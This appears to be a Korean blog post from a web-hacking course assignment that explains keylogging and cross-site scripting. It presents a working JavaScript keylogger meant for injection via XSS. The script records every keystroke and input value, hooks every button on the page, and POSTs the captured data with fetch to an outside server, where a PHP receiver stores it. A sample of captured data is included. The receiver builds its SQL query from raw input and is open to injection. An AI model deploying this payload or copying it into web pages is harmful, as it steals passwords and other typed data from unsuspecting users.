키로깅
키로깅(Keylogging, 키 스트로크 로깅(Keystroke logging)으로도 불림)은 사용자가 키보드로 PC에 입력하는 내용을 몰래 가로채어 기록하는 행위를 말한다. 하드웨어, 소프트웨어를 활용한 방법에서부터 전자적, 음향기술을 활용한 기법까지 다양한 키로깅 방법이 존재한다.
-위키백과-
즉 특정 사용자가 입력한 데이터를 저장하고 기록하는 기법을 말한다.
크로스 사이트 스크립(XSS)
사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: Cross-site scripting XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 이름이 CSS가 아닌 이유는 웹 기술인 CSS와 헷갈릴 수 있어서다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.
사이트 간 스크립팅 - 위키백과, 우리 모두의 백과사전
위키백과, 우리 모두의 백과사전. 사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: Cross-site scripting XSS[*])은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이
ko.wikipedia.org
즉 XSS + 키로거를 활용하게 되면 다른 사이트에 악성코드(키로거)를 심고 입력받은 데이터를 다른 서버로 전송 할 수 있게 된다.
keylogger.html
크로스 사이트 악성코드가 들어갈 html 파일이라고 생각하면된다.(공격대상)
<html>
<head> <script src="./keylogger.js"></script> </head>
<input name="wowText" type="text" />
<button name="test" onclick="origninBtnClick()">12312123</button>
<script>
function origninBtnClick(){
console.log('origin Click')
}
</script>
</html>
keylogger.js
let keyData = '';
function setData (btnYn) {
const inputList = []
let inputs = document.querySelectorAll('input')
inputs.forEach(input => {
const inputData = {
"inputName": input.name,
"inputId": input.id,
"inputData": input.value,
}
inputList.push(inputData)
})
const body = {
"inputList": inputList,
"keyData" : keyData,
"btnYn": btnYn
}
return body;
}
function sendData () {
// 전송할 데이터는 setData에서 받아온다.
const data =setData()
// 데이터를 전송할 것이기 때문에 keyData는 초기화 하고 처음부터 받는다.
keyData = ''
// 서버로 데이터 전송
fetch("http://192.168.102.129:5000/keyLoggerReceive.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: JSON.stringify(data)
})
.then((response) => response.json())
.then((result) => console.log(result));
}
function keylogging(e) {
// 입력받은 키가 Tab 혹은 Enter라면 데이터를 서버로 전송
if(e.code === 'Tab' || e.code === 'Enter') {
sendData()
} else {
// Tab Enter가 아니라면 keyData에 입력받은 키를 이어붙인다.
keyData += e.key
}
}
// 모든 키보드가 눌리게 되면 keylogging 함수를 실행한다.
window.onkeydown = (e) => keylogging(e)
window.onload = (() => {
// 브라우저의 로드가 끝나면 모든 버튼에 이벤트를 심는다.
let btns = document.querySelectorAll('button')
btns.forEach(element => {
// 기존 버튼에 있던 function을 copy해둔다.
origin = element.onclick.bind({})
element.onclick = function () {
// button 태그가 클릭되면 sendData()를 실행하고
sendData()
// 기존의 function을 실행한다.(keylogger.html의 originBtnClick)
origin()
});
})
input창에 데이터를 입력후 F2를 3회 눌렀다.
{"inputList":[{"inputName":"wowText","inputId":"","inputData":"patrache25"}],"keyData":"patrache25F2F2F2F2"}:
전송된 데이터에 태그의 이름인 wowText와 내부 값인 inputData에 patrache25가 기입 된것을 볼 수 있으며
단순 데이터 값 뿐마아닌 F2버튼을 누른 키입력 또한 keyData에 확인 할 수 있다.
또한 버튼에 기존의 function을 카피하여 넣었기 때문에 버튼의 기본 function도 동작하는 것을 볼 수 있다.
<?php
header("Access-Control-Allow-Origin: *");
require_once './lib/db_connection.php'
$json_data = file_get_contents("php://input");
$data = json_decode($json_data, true);
$keyData = $data['keyData'];
$sql = "insert into keylogger (idx, INPUT_LIST, KEY_DATA) value ( null, '{$json_data}', '{$keyData}')";
?>
결과
적용할 사이트가 명확해지면 Tag를 분석하여 필요한 데이터만 받을 수 있도록 개선 될 수 있을 것 이다.
'웹 해킹 코스 > 과제' 카테고리의 다른 글
4-3 게시판 구현하기(게시판 목록) (1) | 2023.11.19 |
---|---|
4-2 게시판 구현하기(게시판 등록) (0) | 2023.11.19 |
3-2 JWT 토큰이란? (3) | 2023.11.12 |
3-1(로그인 케이스) (0) | 2023.11.09 |
2-2 DB를 사용한 회원가입, 로그인 (0) | 2023.11.02 |